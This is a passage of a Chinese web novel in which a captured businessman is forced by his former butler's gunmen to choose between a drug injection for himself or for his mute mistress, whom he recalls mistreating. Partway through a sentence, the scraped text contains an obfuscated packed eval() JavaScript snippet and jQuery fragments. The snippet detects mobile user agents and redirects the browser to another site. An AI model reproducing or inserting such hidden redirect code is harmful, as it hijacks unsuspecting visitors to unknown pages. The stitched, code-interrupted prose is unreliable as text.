控制,剥削,压迫。
只要和这东西沾上边的,没有一个好词。
穆盛洲抵抗得非常激烈,他身强体壮,又有格斗经验,把手铐当成武器,三个匪徒一时间也难以近身。
管家有些不悦:
“如果你不愿意配合,那就只有请你身边这位辜苏小姐代为受罪了。”
他在穆盛洲身边待了这么久,看得清楚明白,不介意赌一把。
辜苏低着头,在一旁将自己的存在感降到最低,谁知却还是惨遭点名。
穆盛洲呼吸乱了一瞬,但很快镇定下来,嗤笑:
“你知道的,情人而已,这个坏了,就换下一个。你什么时候老糊涂了,竟然拿消耗品威胁我了?”
管家不置可否,向匪徒一挥手:
“把她带过来。”
一名人高马大的匪徒立刻向辜苏走去,她惊惧抬头,下意识往穆盛洲那里跑,可惜距离还是远,下一秒就被拽着胳膊往管家那里去。
她神色惊惶,下意识向他伸出手想要求救,却被一把扯落。
穆盛洲情急之下,仓促开口:
“我们之间没有深仇大恨,你为什么要做到这个地步!?”
“没有深仇大恨?”管家把他这句话重复了一遍,“如果没有仇恨,就不能动手,那么这个世界上,是谁挑起的第一起复仇?又是以什么理由?”
穆盛洲难得怔愣,管家见他难以认同,又多问了一句:
“我不过是遵照我们都认同的准则——斩草要除根。更何况,当初你对辜苏小姐出手的时候,她和你难道有深仇大恨不成?”
这句质问仿佛当头一棒,又像是多年前那个轻率恶毒的自己,向如今的自己挥出的一剑。
刺得他鲜血淋漓。
在被质问得哑口无言的一刹那,穆盛洲甚至以为管家在为辜苏和楚沉鸣不平。
可是不是的。
因为下一瞬,挣扎的辜苏就被匪徒按在了桌子上,身子被迫伏低,后颈被男人手掌用力摁住,腰腹弯折成身不由己的弧度。
管家已将针筒靠近她的颈侧。
颈动脉注射,是最直接、最刺激,也是最危险的一种注射方式。
辜苏是干净的,她不可能承受得住这样的刺激!
会死!
穆盛洲厉声吼道:
“放开她!”
脚镣已经将皮肤磨出血痕,牢牢钉在墙内的铁榫被不断扯动,墙灰剥落,可依然坚不可摧。
镣铐深深勒入皮肉,筋脉暴起,血液逆流。
针尖缓缓下降,他听到辜苏的抽泣声。
如一滴水落入寂静湖面般轻而柔,却叫他心中翻起惊涛骇浪。
她不能说话,无法求救,无论被做了什么,受了怎样的委屈,都无法诉诸于口。
她是这样脆弱,娇气,挪个地方都能生场大病。
可偏偏也是她,在他即将被这群穷凶极恶的持枪匪徒带走之时,折返回来,义无反顾。
她本可以不管他的!
不管她当时是怎么想的,他都不想去探究了。
就当她,也对他有意。
只有这个可能解释得通。
不允许有其他可能。
吊桥效应也好,真的喜欢她也罢,至少在这一刻,他不想要自己养的小东西出事。
“怎样,选吧?你还是她?”
魔鬼的声音自深渊中来,冷酷地打断了他的思绪。
针尖抵上颈侧,他目眦欲裂地看到,白皙肌肤微微凹陷。
尖锐几乎快要刺穿那层细嫩皮肉,刺到血管中去。
洁净的她,是否被染上污浊色彩,只在他的一念之间。
“住手!你赢了!黄承宗!是你赢了!”千钧一发之际,穆盛洲丢盔弃甲,红着眼嘶吼道,“把东西给我!”
作为穆氏掌舵人,他向来理智,冷酷,无往不利。
他信奉弱肉强食,并坚信自己会一直处于强者一方。
从未想过会有一日,甘愿将脆弱咽喉展示于人,叫他的仇敌叼住自己的命脉。
脑中惟剩一条念头:
……不要带走她。
为此,他向魔鬼乞求。
管家手一松,针筒远离她后颈,可不等穆盛洲松一口气,就见管家将她扶稳,又在放开她时,将针筒塞进她手中,推了她后背一把:
“你去。给他一滴不剩地推进去。”
辜苏脸上还挂着泪珠,无措地回头望了一眼穆盛洲,又低头看了一眼针筒。
“咔哒”一声轻响,手枪上膛。
枪口抵着她后心,管家淡声重复:
“去。”
穆盛洲喘着粗气,手腕和脚踝往下淌着血,漫过青筋凸起的皮肉,滴滴答答,坠落地面。
他眼睛一眨不眨地看着辜苏,尽力用平稳的声线安抚她:
“过来。别怕。”
可他的声音因方才命悬一线时暴烈的情绪,虚脱中掺着颤。
使得这一句“过来”不似往日颐指气使。
不如说,和以往任何一句都不一样。
——“过来,辜苏。跪下倒酒!”
——“过来,辜苏。陪陪胡少!”
——“过来!辜苏!给她磕头赔罪!”
——“过来。”
——“别怕。”
声音落地,温柔得连他都觉得不可思议。
他原来也会这么温和地对她说话吗?
为什么没有早一点这样温柔地对她呢?
二人之间隔着四五米远,其实是很近的距离。
近到他能看清辜苏的眼睫如何被泪水糊成一片沉甸甸的屋檐,重而密地压在水眸之上。
檐下坠落水珠,一滴,一滴,又一滴。
看得他为之心颤。
穆盛洲伸出手来,掌心向上,眼眶微红,一如多年前的初见。
他谎称是楚沉的兄弟,递给她那份合同时,也是这么说的。
他说——
“辜苏,别怕,一切有我。”
那时的辜苏,对他全身心地信任,将那只比他纤细、娇小的手,放上了他宽厚掌心。
可他辜负了她,背叛了她。
折辱了她。
时光倒错。
当他再次伸出手时,却见她踌躇不前,手里捏着针筒,迟迟不肯靠近他。
他柔和了表情,哄劝道:
“别怕。不会的话,我教你。”
在她朦胧泪光中,他解开衬衫纽扣,西装外套与衬衫都松松垮垮地搭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065092|160347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在身上,块垒分明的胸肌与腹肌自敞开缝隙中隐现。
他抬起被手铐禁锢的手,指了指自己肩部,耐心指导:
“帮我把领子掀开,往这里扎。”
可她依旧无动于衷,站在原地,用一种他看不懂的、难以揣测的眼神看他。
管家不耐,咚地一声,枪托敲在桌面。
辜苏惊得肩膀一耸,深吸一口气——
抬手向自己的胳膊扎下。
“——不要!”
穆盛洲立刻扑过去,却被铁链牵制住,手指在空中虚无地抓了一把,在距离她握住针筒的手仅差毫厘的地方,无论他再怎么撕扯皮肉,也再难以前进分毫。
他瞪大眼睛,视野中只看到她按住注射器的手指,几乎语无伦次:
“辜苏!你在做什么,住手,不要!你想要什么我都给你!不要这样!不、不不不——快停下!
“不要救我!救你自己啊傻子!”
心脏已经碎裂开了。
视线被血色与泪水浸没。
他什么也没有想,只是执着地想要将针筒夺走,铁链被扯得震天响。
辜苏就站在他触不可及的地方,拇指按住活塞,向他笑了一下。
笑容很浅,柳眉微皱,只有嘴角在向上扯。
是他从前看惯了的笑容,他明白其中含义。
她很害怕,很为难,可仍然必须去做一件事的时候,就会这样给自己打气。
他见过很多次这样的笑容。
在她加班了一个通宵之后,他故意为难她,叫她早上五点起床,给他排队去买一家广式早点的限量供应早餐,她默不作声地笑着应了。
第二天,早餐果然被送到了酒店房间,只是后来听徐泾说,她回家的路上因为太疲劳,不小心从天桥的阶梯上摔下去,路都走不了,请了好几天假。
还有,他知道她酒量其实不好,却由着自己带去的客户一个接一个地灌她酒,在她迷迷糊糊的时候,冷眼看着那些人在她为难的微笑和无力的推拒中,将手伸进她的衣领和裙底。
只在实在过分的时候出言制止,但这也不是什么为了她好,而是不想让自己的酒吧闹出什么难听的传言。
从前,对他的命令,她一向是逆来顺受的。
她听了他那么多次话,可唯独这次……唯独这次,他叫她停下,把针头拔出来,她为什么再也不听了呢?
一道百试百灵的咒语骤然划过脑海,他慌不择路:
“楚沉!就算是为了楚沉,不要做傻事!”
辜苏手指一顿,又是一滴泪水凝结成珠,冰冷地滚落脸颊。
意外的是,这道咒语竟然失效了,反而像是赋予了她继续的勇气。
辜苏低头垂眸,按在活塞上的拇指开始用力,推着液体的推杆向前移动。
突兀地,“哗啦啦”一声巨响,在场众人纷纷面露惊悚向后退去。
原本牢牢钉在砖墙上的钢钉被暴力扯落,哐当落地,带出一堆碎砖尘土,拖在面露疯狂的男人身后,随他一起向前扑去。
下一刻,血珠飞溅。
辜苏手里注射器被夺走,随即被他扔在地上,一脚踩碎。
液体流了一地,穆盛洲粗声喘着气,将辜苏牢牢挡在身后,面对着四道冰冷枪口。